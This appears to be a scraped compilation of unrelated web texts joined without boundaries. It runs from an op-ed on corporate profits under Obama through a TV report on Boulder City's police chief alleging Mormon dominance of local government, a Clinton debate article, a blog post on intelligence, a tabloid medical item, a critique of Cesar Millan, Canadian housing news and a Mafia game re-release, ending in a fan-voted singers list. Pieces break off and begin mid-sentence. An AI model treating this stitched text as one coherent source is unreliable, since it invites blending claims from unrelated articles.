It’s not worth picking apart some random op-ed (if you start shooting anything that moves in that jungle, you’ll never stop), but it is worth diving into this claim about the president being so mean to business. This is a real, and pervasive, theme: that policies under this president have been demonstrably bad for business. And if it’s true, then maybe in the name of stronger growth the president should back off when it comes to implementing the Affordable Care Act and Dodd-Frank financial market reform. If it’s false, he shouldn’t.
Before getting into the metrics, let’s be clear: I’m not arguing that businesses do or should love everything Obama has done, including the two (congressionally passed) laws mentioned above. I’m asking the much more direct question: has the Obama presidency been bad for businesses’ bottom line?
No. Actually, hell no.
In fact, with annual data all the way back to 1929, corporate profitability as a share of national income was higher in 2013 than any other year on record. Think about that for a minute. This meme is out there—the fact that the Economist insouciantly throws it out tells you I’m not making this up, and by this widely accepted measure, businesses just had their best year ever.
But that’s before tax. Did the mean old president whack them on the tax side? Nope. That same all-time record holds for after-tax profits.
Since I’ve got before-tax profits and taxes paid, I can roughly back out an effective tax rate for the corporate sector, i.e., share of profits paid in federal taxes. That’s averaged 20 percent over Obama, compared to 26 percent over George W. Bush, and 31 percent over Bill Clinton.
OK, but what about the stock market? Well, the economic recovery that started under Obama in the second half of 2009 is now five years old. Over that period, adjusting for inflation, the S&P 500 has doubled in value.
It’s worth noting here that the income of the typical, or median household, is down 3.7 percent in real terms over the recovery.
So, let’s collect facts. The business sector, writ large (we’re talking averages here; these statistics don’t describe every business’ experience), has not only recovered ahead of the middle-class, but it has also surpassed their pre-recession levels of profitability and its pre-Great-Depression historical levels. Relatedly, the stock market, 80 percent of which is held by the richest 10 percent of households, has doubled.
Real median income, on the other hand, like many workers’ paychecks, are still climbing out of the hole.
Neither is it incidental that the hole was dug (in part) by a reckless financial sector, a sub-group within the corporate sector that not only got bailed out by government, but is doing particularly well on the metrics posted above.
Did the president say mean things about banks back then? No question. I worked for the White House in those days and I vividly recall how angry the president got when he was told about post-crash, post-bailout bonuses being handed out at AIG. To which I’d say: if you’re president and that doesn’t piss you off, you’re not paying attention.
The Economist piece gets some other big things wrong too, e.g., asserting that America hasn’t raised the retirement age when in fact the age for collecting full Social Security benefits is currently in the process of rising from 65 to 67.
Some of the magazine’s ideas about accelerating growth are good ones, including comprehensive immigration reform and measures to get the long-term unemployed back to work. But besides being factually wrong, it is deeply counterproductive to assert that our growth problems derive from being “unfriendly” to business. In fact, there is a serious danger born of that misleading trope: that we fail to take the necessary steps to enforce the financial oversight so essential to getting out of the economic shampoo cycle (“bubble, bust, repeat”).
Like most people, I don’t want a president who harbors deep emotional love or antipathy toward businesses. I couldn’t care less if he or she woos them with sweet talk. That’s all a distraction. I want a president who understands the role of the business sector in creating growth, American jobs, tax revenues, and of course, profits. And not just profits that slosh about at the top, but incomes that reach the bottom.
How do we create that business climate? Now there’s the economic policy discussion we need to have.I-Team: Embattled Chief Says Mormons Control Boulder City Copyright 2019 Nexstar Broadcasting, Inc. All rights reserved. This material may not be published, broadcast, rewritten, or redistributed. Video
BOULDER CITY, Nev. -- Clean, serene Boulder City is embroiled in a political civil war.
The city's chief of police, Tom Finn, has filed numerous ethics complaints against the city council, city manager and city attorney, alleging all sorts of unethical behavior.
Finn, who has been on extended medical leave, expects to be fired when he returns to work.
He said he has been forced out, in part, because he's a Catholic.
It isn't often a police chief goes to war with his city bosses and accuses them of religious persecution, but Chief Finn said this is a situation like the emperor's new clothes--something everyone knows, but no one admits.
About 16 percent of Boulder City residents are members of the Church of Jesus Christ of Latter-days Saints, but the Mormons control just about every position of political power.
The mayor and all but one of the city council members are Mormon.
The city manager they hired is Mormon.
So is the city attorney.
The state assemblywomen for the area is Mormon.
So is the state senator. So is the county commissioner. The new interim police chief isn't Mormon, but he's married to a relative of a Mormon councilwoman.
In fact, many of these officials are related by marriage or blood and Finn said one reason they wanted him out is because he doesn't worship at the same church as the rest of them.
"They are trying to blame everything on me," Finn said. "I'm surprised they haven't blamed the Lindbergh kidnapping on me, but I'm sure that's coming."
Finn has good reasons to be a bit gun-shy these days. Finn finds himself in the middle of a legal and ethical firefight, with potshots whizzing toward and from every power player in his seemingly sleepy town. Finn has been on medical leave for several weeks but when he returns to work April 15, he is pretty sure he will be fired.
His attorney said city leaders have been plotting Finn's demise for months and have compiled a long list of flimsy or manufactured excuses.
"I think they had a result in mind and they needed a way to get there," Finn's attorney, Sean Flanagan, said.
City Attorney Dave Olsen is one of the main players in the scheme, Finn said. Olsen said the chief is delusional.
"I am still baffled about this, because no one here in City Hall has ever had any type of animosity towards the chief of police," Olsen said. "I never heard anyone say they wanted the chief to be fired, or it was time for him to go."
But in court documents and ethics complaints filed by Finn, the chief has compiled evidence concerning three separate internal investigations by the city, a vote by the council requesting a criminal probe, and testimony about Mayor Roger Tobler and councilman Cam Walker, both reassuring the city manager to punish or fire Finn. Finn has fired back with several ethics complaints and his own lawsuit.
"For someone just to destroy my career the way they have done it, no, I am not going away quietly," Finn said. "I am going to stand up to them."
Finn's battle with the city power structure came to a head last summer when city leaders welcomed the Mongols, an outlaw motorcycle club to town for their national meeting. Fallout from that event led Finn to openly question what the former city manager calls 'the Mormon thing," that is, the dominance of local government by Mormons. In Boulder City, Mormons make up about 16 percent of the town's population, but hold nearly all of the political cards.
Many of the leaders not only attend the same church, but are related by blood or marriage. Imagine the fuss if any other local government were so dominated by a single faith or ethnic group, Finn said.
"It becomes almost a fiefdom of your family and friends," Finn attorney Flanagan said.
Councilman Walker is no stranger to allegations of religious preference. In the late 1990s, he and his father-in-law, the late Bob Broadbent, were partners in the ill-fated Las Vegas Monorail project. Their board of directors was entirely Mormon. Walker hired his brother as company spokesman.
"It's not entirely an accident that some are related by family, but it's not a focus of this company," Walker said in a 2004 interview. "We hire people based on trust."
Walker works as the director of business development for a major construction company. The company did $144 million worth of work for the Clark County School District at a time when Walker was on the bond committee financing the work. Last year, the councilman cast a vote regarding a billion dollar solar project to be built on city land, a project his employer is trying to land. His fellow Mormon, Dave Olsen, said there was no ethical conflict.
Dave Olsen: "Mr. Walker did not have a personal financial interest in this."
I-Team: "His company is bidding on this?"
Olsen: "Right."
I-Team: "And he votes on the project? Right? He doesn't have a financial interest? He's the director of business development."
Olsen: "That is correct, but on this, Mr. Walker wasn't involved in any way, shape or form."
Whether it was proper for Walker to vote on the solar project will be decided by ethics officials, because it is one of several ethics complaints filed by Finn against most of the town's leaders.
Is this group -- the city attorney, city manager and Councilman Walker -- working together to get rid of Finn? When the I-Team showed up to interview Olsen, a full production crew from the city was there to record their own version. Olsen said they might want to air it on their city channel. But about 20 minutes into what became a heated exchange, a woman interrupted. She's the personal secretary to the city manager and she informed Olsen that it was time to leave, because he had, the, uh, thing. Olsen got up to leave, but forgot he was still wearing the I-Team's microphone.
"Cam and Dave Fraser wanted me to pull you out of there and tell you it's time to stop now," the secretary could be heard saying.
"Oh, OK," Olsen responds.
From that, the I-Team learned City Manager Dave Fraser and Walker were watching the interview from somewhere else and decided Olsen had said enough. Walker did not respond to the I-Team's request for an interview.
What brought all of this political intrigue to a head? A bunch of bikers who roared into town last summer. That part of the story Friday at 5 p.m.As part of an effort to manage expectations for the first presidential debate, Hillary Clinton's campaign suggested on Sunday that foul play will give Donald Trump an unfair advantage over the former secretary of state.
Senior aides to Clinton have repeatedly suggested that the Democratic nominee could be treated unfairly during Monday's debate by not receiving ample time to fact-check her Republican opponent, who has a tendency to repeat debunked claims, or facing a moderator who lets Trump's falsehoods "go unchallenged."
Clinton's campaign manager, Robby Mook, tried to set further expectations on Sunday, claiming that Trump will enjoy the advantage of being "graded on a curve" for his debate performance by members of the media and viewers.
"I'm very concerned that Trump will be graded on a curve. Just because he doesn't fly off the handle in the middle of this debate does not mean he is prepared to be president of the United States," Mook told CNN's Jake Tapper.
Mook's latest contribution to the expectations-setting game was in response to David Axelrod, a former senior strategist to President Obama and top Clinton ally, who recently said the candidate could face a "trap door" if Trump "finds a way to normalize himself" during the 90-minute debate.
Axelrod's assessment came earlier in the week as Clinton, who has kept a light campaign schedule as of late, faced tightening national poll numbers and continued to lose ground to Trump in several battleground states. The former secretary of state has also been deluged with questions about her health since she was diagnosed with pneumonia earlier this month and has failed to reverse voters' negative perceptions about her ability to tell the truth and be trusted.
Clinton's campaign has said she's likely to face tough questions about issues that have contributed to her negative ratings on honesty, mainly her email scandal and growing concerns about pay-to-play practices at the Clinton Foundation. Even before Monday's debate, her aides claimed she's likely to be pressed hard on such topics while Trump receives "one-dimensional, simple questions" from the moderator.
Despite suggesting that Trump will be "graded on a curve" at the first debate, Clinton's campaign chief simultaneously said that unless her Republican opponent "tells the truth... [and] shows his ability to conduct himself without lying constantly, he is not getting a passing grade on this debate."
"He needs to have coherent answers to the questions, he needs to demonstrate a command of the issues and he needs to roll out specific plans about how he's going to make life better for Americans," Mook said.
The first debate is set to take place at Hofstra University on Monday. It will be moderated by NBC's Lester Holt.The Dangers of Intelligence without Creativity or Judgment
A friend once said to me “once you’re at a certain level of intelligence, most people you meet are either about as smart as you, or stupider.”
I’m at that level of intelligence, I suspect many of my readers are as well. If I go into a 10,000 person organization which doesn’t select primarily for intelligence, I expect to either be the smartest person in the room, or as smart as the smartest person in the room. In an org that does select for intelligence, I still expect to be able to keep up, and to be smarter than most, even if they know more about the subject than I do. (Plus, lots of very high IQ people have terrible intellectual judgment).
Divide intelligence into three parts, (yes, you can divide other ways):
1) processing power and pattern recognition (measured pretty well by IQ)
2) Creativity
3) Judgment
A lot of people only have the first, they are very smart ordinary people, they will get to the same solution a modestly bright person would, just a heck of a lot faster. The folks who put up their hands first in class, whose self-worth is based around #1.
(I am fundraising to determine how much I’ll write this year. If you value my writing, and want more of it, please consider donating.)
High IQ people without 2 or 3 and preferably both, are extraordinarily dangerous if the problem isn’t straightforward. They are the brilliant people who can completely fuck things up. Think Larry Summers — he really is VERY high IQ, I know people who know him. Brad DeLong has very little of #3 either, though he’s very very smart. (He’s very good when his emotions aren’t involved, his historical economic work is excellent). #1 is much more common than #2 and #3.
It isn’t primarily intelligence based, but empathy also has a multiplicative effect in certain circumstances.
Around about 4 standard deviations IQ starts to go really off tracks without #3, because at that IQ level people can make connections between almost anything, the pattern recognition is in overdrive.
To use a metaphor, think of processing power and pattern recognition as the engine of a motorcycle. Think of creativity and judgment as the rider. In a straightaway, powering down the highway, no other vehicles on the road, what matters it the engine. As long as the rider can stay on the bike, the guy with the highest IQ will win any race.
But the more difficult the road conditions, or when you go off road, the more the rider matters. The guy with the big motor, faced with erratic drivers and lousy weather is likely to get himself, and possibly others, killed. The good rider will make it thru.
Learning how to think is, in many ways, more important than raw processing power. The raw processing power will hold you back (to an extent, there are accounts of people raising their IQ by over a standard deviation thru concentrated intellectual effort), but too much power and too little judgment will get you killed, and too much processing power and no creativity will just get you where everyone else would have gone, but faster. Better hope that’s the best place to go.
(Adapted from a comment from 2013.)"Stock Photo: Senior Man" on Shutterstock: http://tinyurl.com/ol3d9wz
A 66-year-old politician in Colombia underwent a penis amputation after, according to doctors, he “enthusiastically overdosed on Viagra.”
The man, who wishes to remain anonymous but claims to be a former member of the Gigante municipal council, went to the hospital after his penis began to ache a few days into the erection.
Gigante doctors were unable to cope with the complications and referred the man to Neiva, which has more sophisticated medical facilities.
Doctors in Neiva found that the man’s penis was inflamed, fractured and beginning to show signs of gangrene. The threat of the latter spreading left the doctors with no choice but to amputate his penis.
“The patient showed bruising on the testicles and the remainder of his penis, was treated and is recovering well,” a doctor told a local newspaper.
[“Senior Man” on Shutterstock.com]
Updated at 5:27 p.m. EST to correct a spelling error.As a dog owner I have frequently heard of César Millán the Dog Whisperer. Millán is a Mexican-American dog trainer, best known for his National Geographic TV show, The Dog Whisperer, in which he rehabilitates trouble dogs.
Here is a typical video showing what Millán does with aggressive dogs.
When watching his show, one can’t help but be amazed at the way he handles some of these dogs, many of which are either wildly disobedient or incredibly aggressive. His successes have earned him many fans. He’s published three best seller books, made numerous media appearances, gives presentations to sold out venues, and he owns his own dog training facility.
It’s hard to imagine anyone taking issue with his methods which are so effective. But taking issue is what many dog training professionals are doing. Can we take a skeptical look at what Millán does?
Millán’s modus operandi can be summed up into two central points:
1) Be a “calm, assertive, pack leader”
2) Dogs require “exercise, discipline and affection—in that order.”
Essentially what Millán is suggesting is that dogs, like wolves, are pack animals. The owner of the dog is like the alpha wolf. The owner must be the dominate pack leader and the dog must be submissive. Dogs that misbehave do so because they consider themselves the pack leader and don’t respect their owners.
Millán goes about establishing dominance through his “calm, assertive, energy” he doesn’t acknowledge dogs when he meets them, he ignores them when they bark, the only response he typically gives is a quick poke or slap. It’s only when the dog has calmed down and is willing to listen to him that he initiates contact.
In order to train and teach his dogs, Millán relies on two techniques almost exclusively, flooding and positive punishment. Flooding is when:
“an animal is exposed to a fear (or aggression) evoking stimulus and prevented from leaving the situation, until it stops reacting. To take a human example: arachnophobia would be treated by locking a person into a closet, releasing hundreds of spiders into that closet, and keeping the door shut until the person stops reacting. The person might be cured by that, but also might be severely disturbed and would have gone through an excessive amount of stress.” – Andrew Luescher, DVM, Ph.D, DACVB
Sound effective?
Positive punishment is any type of punishment in which the dog is punished with an unpleasant condition to discourage future behavior. It’s the same type of thinking that suggests spanking a child for misbehaving.
Punishment, among most trainers of animals, is considered backwards and antithetical to successful obedience training. It is also generally agreed among psychologists that punishment is not an effective way to correct unwanted behavior in humans. However, Millán defends his use of punishment as part of the pack mentality that dogs naturally exist in. After all, a quick poke can’t really compare to what a alpha wolf would do to a member of its pack who misbehaved, right?
It turns out that the scientific consensus on pack behavior is as out of date on prior perceptions of corporal punishment. (See my blog post on corporal punishment for more on this)
One of the assumptions that Millán makes about dogs is that they are pack animals. His thesis of dog rehabilitation rests on the hypothesis that a good owner is also the pack leader and controls the dog with calm assertive energy in the same way an alpha wolf would control the pack. However, modern research on wolves and dogs indicates that this view of dominance and the “alpha wolf” are incorrect.
David Mech is an adjunct Professor in the Department of Fisheries, Wildlife and Conservation Biology, and Ecology, Evolution and Behavior at the University of Minnesota, he’s also one of the world foremost experts on wolf behaviour. Much of the terminology of wolf behavior comes from Mech’s original research. The vernacular of alpha wolf can be attributed to him. However, Mech reveals that the science of wolf behavior has changed in the last thirty years. His first book was published in the 1970′s, in which he used the term “alpha wolf” however he suggests that in reality, wolves don’t form packs based on dominance but rather cooperation. It would be more accurate to refer to the pack leader as the “breeding male and breeding female.”
This is an important distinction, which it appears that Millán didn’t get the memo on. If the “alpha wolf” theory is incorrect that would mean that a major part of Millán’s method is based on incorrect data. Since wolves and by extension, dogs are not dominance based pack animals, a dog that is acting up isn’t doing so because it has delusions of grandeur and a thirst for power. Treating it as though it were will not solve the problem.
Even if dogs were in a dominance based hierarchy as Millán suggests, his methods still wouldn’t make sense. Animals that rely on dominance do so to control mating and access to resources. It’s enforced constantly, sometimes resulting in animals being killed to enforce that control. Remember, evolution only works if you pass on your genes. Animals that are put in a position where they don’t get to mate have very little reason to not fight to the death to gain that position. If dogs were dominance based, they would not readily submit to anything, a dog owner would constantly have to engage in dominance based corrective behavior to “remind” the dog who was in charge.
Simply the fact that there are large scale efforts to have dogs spayed and neutered should tell you that dogs don’t exist in such behavioral system. Research on dog evolution indicates they are scavengers and have promiscuous mating habits. This is why humans have taken such measures to try to control dog mating.
So why does Millán’s techniques appear to work? The most obvious answer is that we only ever see his techniques over the course of an hour long show. There’s no debate that positive punishment can be effective in the short term. If you smack a child for doing something, chances are they aren’t immediately going to go right back to doing that behavior, it’s the same with dogs.
Another reason is that some of Millán’s techniques are useful, mainly the exercise aspect. It should be no surprise that hyperactive dogs probably aren’t getting enough exercise. But it’s also important to realize that there are more than one type of dogs. Some breeds are highly energetic and require way more attention from their owner’s than other breeds of dogs. Border Collies, for example, are one of the most active and energetic dog breeds. Bull Terriers, while also being energetic are also known for being mischievous little devils that will require more training and stricter social structure to avoid them getting into trouble.
So, certain breeds of dogs and in certain situations would see an improvement in behaviour with firmer training, more exercise and more attention.
I’ve talked about how Millán’s theories on dog behavior are wrong. They are not pack animals who are dominance based. I’ve also talked about his methods which use positive punishment and exposure of dogs to stressful situations called flooding.
But I’d also like to discuss Millán’s connection to more traditional woo like homeopathy.
Millán has on more than one occasion promoted or suggested the use of homeopathic dog medicine. In an episode called Mufasa and Tucker, Millán invited Dr. Dahlia Shemtob to administer homeopathic medicine to calm a dog’s nerves. In a Q and A with his fans, he also recommended homeopathy and acupuncture for dogs to help keep them relaxed. In a quote on the Homeopathy Health Center, Millán states: “Homeopathy means to me; the ability to live without any negative blockage to go forward and be at my potential. Because of homeopathy my family and dogs live a balanced life.”
Not only are Millán’s suggestions irresponsible but they could be dangerous to your dog’s health. If your dog is sick, you need to take it to a science based vet who can diagnose the problem and prescribe the correct medication or treatment.
I checked to see what Millán’s stance is on vaccinations but for the most part he seems to be in favor of them. He does occasionally use troubling vocabulary like letting your dog use its own natural defences (speaking to the misnomer that the immune system is like a muscle that needs to be worked out.) He also suggests dog owners do their own research which is always risky. Unless you are qualified to understand dog biology and medicine, you should really limit “research” to consultations with qualified vets.
Overall however there is plenty for the skeptical dog owner to have misgivings about César Millán. His outdated theories on dog behavior, his questionable methods of training and punishing dogs, his reliance on quack medicine for dogs, his ambiguous vocabulary on “energy” and other common pseudo science buzz words. Based on all of this, I’d recommend extreme caution in using any of Millán’s methods.Time for your weekly update on the most important real estate stories.
Canada
Canadian Real Estate Prices Fall For A Third Month In A Row
Canadian real estate prices drop for a third month in row. The benchmark price of a home fell to $602,400 in August, down 0.77% from the month before. The last time Canadians saw prices drop 3 months in a row was in 2008, so it’s been awhile since this has happened.
Read More
Canadian Real Estate Buyers Are About To Lose 25% Of Their Buying Power
A new banking proposal from the financial regulator OSFI would see mortgage leverage drop by over 25%. We run the numbers and show most of the country would experience minimal impact. Cities like Toronto and Vancouver however, have steep home prices compared to incomes. The reduced leverage will make it much harder for these buyers.
Read More
No, Canadians Won’t Lose Their Homes As A Result Of Mortgage Stress Testing
OSFI’s B-20 proposal will impose strict rules on new borrowers, but people renewing won’t be impacted as much. Borrowers renewing won’t have to prove they can handle a rate hike of 2%, like all new borrows would. However, that’s only if they’re renewing at their current mortgage provider. If they find a better rate at another lender, be prepared to undergo a full stress test again.
Read More
Toronto
Toronto Real Estate Sales Over $1 Million Drop Over 37%
Toronto real estates sales over a million dollars dropped compared to last year. There were 965 real estate sales over a million dollars in August, down 37.66% from the same month last year. Condo sales over a million dollars were higher, but at only 70 units in August – it’s not exactly enough to give the market a huge boost.
Read More
How Much Did Toronto Real Estate Inventory *Really* Jump?
Toronto real estate inventory is experiencing explosive growth, but how high is this number? August saw 2.3 months of inventory, a whopping 144% increase from the low of 0.8 months hit last year. While that’s a huge jump, the long-term average is 3.1 months according to the Canadian Real Estate Association. Inventory increased dramatically, but is still far below the long-term trendline.
Read More
Montreal
Here Is Montreal’s Richest And Poorest Neighbourhoods [Interactive]
Montreal median incomes are nowhere near the rest of the country. The median household income is $61,790, a rise of 16.53% from the previous Census numbers. While that’s a decent rise, it still trails far behind the national median income of $70,336.
Read More
Like this post? Like us on Facebook for the next one in your feed.After five years of not being sold for download anywhere (and long being out-of-print on disc), the first Mafia has returned to sale. GOG this week dredged the digital bay, hauled the crime ’em up out, and chipped off its concrete boots to re-release it DRM-free. This version has an edited soundtrack with the licensed music removed, mind. Presumably music licenses expiring is what got the game pulled from sale back in 2012. I’ve not played Mafia since ooh it was on CD, so I am tempted to see how it feels 15 years after it came out – and after two sequels of varying quality and direction.GOG are selling Mafia for £7.99.
You might want to download this widescreen mod to better utilise your fancy modern monitor. And if you do have the CD or Steam version but want it DRM-free too, this tutorial explains how to bust open data files and add the original music back. Oh! And a mod added multiplayer a few years back.
For those who haven’t played Mafia, a brief summary. It’s set in the fictional American city of Lost Heaven during the Depression, where a taxi driver gets pulled into the mob and slowly climbs its ranks. The story spans several years, living out chapters of Tommy’s life as he tells his story, which I always liked. It’s a third-person shooter with car chases aplenty and one notably horrible race. One curious aspect is that though it |
amazing. This guy deserves #1, no doubt. Chester has such a beautiful voice, and he can also scream really loud (RIP ears lol). May he forever Rest In Peace V 927 Comments
Frank Sinatra Francis Albert "Frank" Sinatra was an American singer, actor, and producer who was one of the most popular and influential musical artists of the 20th century. A lot of clueless people out there. Frank is hands down the greatest entertainer of all time Should be number one. The was he brought a story into a song and put emotion into it is unrivaled. His vibrato control is the best of any singer past or present. The beauty of his breathing technique is so subtle and unappreciated. My vote for top 3 of all time. Beautiful smooth. This describes the man and the voice. Would definitely make the top ten Bing Crosby, Sinatra and Elvis. The List stops at those three. V 309 Comments
Amy Lee Amy Lynn Hartzler, known professionally as Amy Lee, is an American singer-songwriter, classically trained pianist and composer. She is also the lead singer to the Arkansas band Evanescence. 10 One of the best voices I've ever heard. Just awesome. You never get bored, always the felling when you heard it first...
Amy Lee has amazing and beautiful voice which is definitely is loved by us! Amy lee is the best rock singer I've ever heard... She writes her song herself that is called talent and the way she dress is just awesome... Her songs are just epic She has an amazing voice V 144 Comments
The Newcomers
? Esofttools
Jello Biafra
The Contenders
Bruce Dickinson Paul Bruce Dickinson, known professionally as Bruce Dickinson, is an English musician, airline pilot, and broadcaster. He is most well known for being the lead singer in heavy metal band Iron Maiden and his solo career. 11 This guys scream is enough to knock Michaels Jackson's nose off. Best metal singer along with Rob, tate, kiske and dio Amazing singer with a huge range. Can sing high and rival Di'Anno's earlier work, or sing low and replicate Blaze's work. SCREAM FOR ME, THETOPTENS!
Only one word can be used to describe Bruce's voice: Godly. He commands so much power with his voice alone, not to mention his incredible stage presence. At 60 years old, he is still running around like a child and we love him for it. - CaptDeadeye V 194 Comments
Axl Rose William Bruce Rose Jr., better known as 'Axl Rose', is an American singer born on February 6, 1962, in Lafayette, Indiana. He Is the founder and lead singer of the hard rock band Guns N' Roses. He is a celebrated but controversial figure in the world of rock. 12 Axl should be number 1! How can you compare welcome to the jungle and Chinese democracy to michael jackson? Both are really powerful songs. Axl still has it! Axel is no doubt the greatest front man in history. He had an amazing voice which is sadly overshadowed by his disputes with Guns N' Roses. Still doesn't take away the fact that he is up there with the Rock Gods. 20 years later he still is the best! I've heard many 1000's rock bands, and I'm sure "Axl is the best singer ever" Are you kidding me axl should be first, studies show he has a 5 octave voice for gods sake Freddy Mercury probably the best ever only had 4 octave ( which is still very rare ) but imagine 5 octaves that’s just messed up plus axl sung with soul V 494 Comments
Bruno Mars Peter Gene Hernandez, professionally known by his stage name Bruno Mars, is an American singer, songwriter, multi-instrumentalist, record producer, and choreographer....read more. 13 he is the best! his voice is amazing and he is really pretty and nice. so I think, that he is on of the best. Bruno Mars YOU ARE my special singer! Highly disagree. He sucks so much, his voice is not unique and his songs are annoying - Batmanisagender Why is he not in this list? He should be ranked higher, seriously. He can sing high notes AND he was the youngest Elvis Presley impersonator professionally at the age of 2. Later in his teen years he started impersonating Michael Jackson (which means he can moonwalk) He's also a songwriter, producer and many more! He has a good personality and good sense of humour ;) And his performances are never boring! He is my favorite singer... Bruno Mars! YOU ARE THE BEST! I loved his songs. Just the way you are, Grenade, lazy son' THERE CAN NEVER BE ANOTHER ELVIS PRESLEY! V 545 Comments
Adele Adele Laurie Blue Adkins is an English singer and songwriter. Graduating from the BRIT School for Performing Arts and Technology in 2006, Adele was given a recording contract by XL Recordings after a friend posted her demo on Myspace the same year. She is best known with her international hit singles...read more. 14 Beautiful voice and amazing music. One of the best artists of the new millennium. What the-
Why isn't Adele at the top? In my opinion, she deserves to be number 1! Adele is amazing, for she puts soul, heart, and feeling into her music. She inspired me to sing, so bring her to the top people! Oh, she totally has a better voice than Bruce Dickinson, Rob Halford, King Diamond, Lemmy Kilmister, James Hetfield, Dave Mustaine, Tom Araya, Joey Belladonna, and Steve Souza. *Obvious sarcasm* - CostcoHotDogs With the people already on here adele definitely deserves a spot I love her! She is one of the best singers V 635 Comments
Kurt Cobain Kurt Cobain was born February 20, 1967, in Aberdeen, Washington. In 1987, he started the grunge band Nirvana, which became one of the most successful bands ever. He was a talented yet troubled grunge performer. Kurt Cobain became a rock legend in the 1990s with his band. He committed suicide at his...read more. 15 How can he be this low? That just boggles the mind. A complete grunge legend, maybe one of the first and few grunge singers to actually have semi-clean vocals at times. Amazing. Father of Grunge, an example and inspiration to a big number of today's bands
Simply the best! Thank you for all, Kurt. We will always remember you... the men is just amazing, maybe not in a stetic and impecable kind of way, but his voice really reaches anybody's soul Cobain's voice was filled with the right amount of pain and angst needed to make Nirvana's music as great as it was. Though he is lost, let us remember his legacy and never let it be forgotten. - CaptDeadeye V 349 Comments
Ronnie James Dio Ronnie James Dio (born Ronald James Padavona; July 10, 1942 – May 16, 2010) was an American heavy metal singer, songwriter and musician. He fronted and/or founded numerous groups including Elf, Rainbow, Black Sabbath, Dio and Heaven & Hell. He is credited with popularizing the "metal horns" hand gesture...read more. 16 Please tell me how Kelly Clarkson and Britney Spears are above the living legend: DIO? Too soon, then again, it will always be too soon to mention the legend's death - kempokid He is the MOST underrated singer in music history. He is also one of the most underrated lyricists. Listen to his work with rainbow, with his amazing soft voice in the songs: catch the rainbow, rainbow eyes, temple of the king. and his powerful voice in the songs: rainbow in the dark, last line, man on the silver mountain. These are only few of the many amazing songs this legend wrote. He was a better singer then Michael jackson, mick jagger and many others who are considered one of the best. Dio's name means God! And he is the God of singing! His career spanned decades and he never released a bad album! From his first album with Elf to Master of the Moon, I enjoyed every word that he sang! Dio may be dead, but his legacy will live forever! RIP Dio - CaptDeadeye V 109 Comments
Katy Perry Katheryn Elizabeth Hudson, professionally known by her stage name Katy Perry, was born on October 25, 1984 in Santa Barbara, California. She is a singer, songwriter, actress and an ambassador on one of the most popular companies of now, UNICEF....read more. 17 No offense, but I think Katy's voice can get a little robotic after a while, unlike others on here. I respect the many achievements she has done and made but that's just my main problem with her. A lot of people say she can't sing live. The media portrays her as not being able to sing when in reality she has a pretty amazing voice, she can hit high notes, low notes, etc. She is a very talented successful singer. She is the 1st female singer to get 5 #1's off of one album. An achievement only accomplished by Michael Jackson himself. She is also the only artist in the world with 3 Diamond songs, Roar Firework and Dark Horse. Also there are only 14 Diamond songs in the world. Katy owns 3 of them. She is just very successful and her albums are amazing. She deserves to be higher in this list. She is amazing and has an amazing persona. How does she sing live? Lip-sync! How do you think she's not out of breath!? - SionicRelations I went to a Katy perry concert and I am a fan of her BUT I would say the music on the prism album wasn't that good. I thought the music on teenage dream and one of the boys were good but prism wasn't doing it for me. I would say Katy needs to makes more slow songs. Everything is so fast. Last Friday night, roar, dark horse, etc. Best singer ever
I love her
I love you V 621 Comments
Madonna Madonna Louise Ciccone is an American singer, songwriter, actress, and businesswoman. She influenced a lot of singers such as: Lady Gaga, Jennifer Lopez, Rihanna, Beyonce Knowles and Britney Spears. She is known as Queen of Pop and at modern pop culture specifically in 2012 "Madge" or MDNA. She has...read more. 18 I LOVE Madonna. Singing is not all about how good your voice is. But what you do with your voice.
I CAN'T BELIEVE CHARICE HAS A HIGHER RANK HERE THAN THE GREAT ELVIS, MARIAH, CELINE DION, AND ALL THE OTHERS!
MARIAH HAS A VERY ANGELIC VOICE... I ALMOST GET DEAF WHENEVER I HEAR CHARICE, NOT THAT SHE'S NOT GOOD. BUT SHE ALWAYS SCREAMS ESPECIALLY IF IT'S A DUET... SHE'LL SCREAM EVEN IF SHE'S ALREADY OFF KEY. :P
Sarah Geronimo can sing in different genres... And she's good at all of them. And when she can't do something, she'll admit it and not struggle to do it because she know she can't unlike Charice. - feiy_o6 Mariah has angelic voice but is kinda girlish! Whitney had angelic and feminine tone. - martin1 Let's give the Top Tens some credit here. It is so refreshing to see an ALL TIME top ten singers that does not include the names Evancho, Underwood, Amy Lee, or Lambert on it. They are all fine singers but they do not have enough of a track record to be worthy of top ten on an all-time list, and have influenced nobody, although they probably will in time. Every one of the singers in your top ten has a proven track record, a long string of hits, and several artists they have influenced. It is a model for other Top Ten lists. Way to go! Girl You Are the QUEEN of music. I don't see why you haven't got the top ten hammered down. Your Great! Just keep the great music comming. Love Ya! Madonna - Cort2011Spenc Queen of music? Lol, Beethoven's music destroys everyone else's music except for Liszt's, Chopin's and Mozart's. - TheHater She's amazing! - Pedro45 V 248 Comments
Layne Staley Layne Thomas Staley was an American musician who served as the lead singer and co-songwriter of the rock band Alice in Chains, which he founded with guitarist Jerry Cantrell in Seattle, Washington in 1987. Alice in Chains rose to international fame as part of the grunge movement of the early 1990s....read more. 19 Layne's voice was one of a kind. He sang with such emotion and such soul. He delivered all the time. He should be number one. Not 13. There is not another singer that can match the power and conviction of Layne Staley. So unique. Gives me chills to hear him sing. He left way before his time. Layne Staley belted out lyrics with pure emotion. You can actually feel it in every note. His music touched souls and changed lives. His live performances were stellar as he gave 100 ~~ of himself... Body and soul! He may be gone, however his music will always live on. Layne sang without trying. No auto tune -- raw emotion -- hardcore or angelic with everything in between. V 385 Comments
Steve Perry Stephen Ray "Steve" Perry is an American singer, songwriter, and record producer. He is known as the lead singer of the rock band Journey during their most commercially successful periods from 1977 to 1987 and again from 1995 to 1998. 20 "The Voice" is none other than Steve Perry, one of the greatest singers of our time! His vocal range is second to none and he can sing anything! Steve's talent seems to be appreciated more and more as time goes on by his generation, as well as new generations. Timeless and awesome - that's the voice of Steve Perry! Steve Perry is the consummate performer! He can sing ANYTHING; he's not boxed in by one particular kind of music. Remember, Steve Perry is "The Voice" and he will go down in music history as one of the very best singers of our time, bar none! People must be blind if they don't vote for steve perry, one of the great majestic singers of all time. He still writing and producing music till this day. Don't stop believing hold on to that feeling, put him the top 2 make him #1 HE DESERVES THIS. I WILL BE A FAN FOREVER. You are so very totally correct! He is the best singer of ALL TIME! Best Singer Ever, Most Reconizable voice EVER! #STEVEPERRYFOREVER V 624 Comments
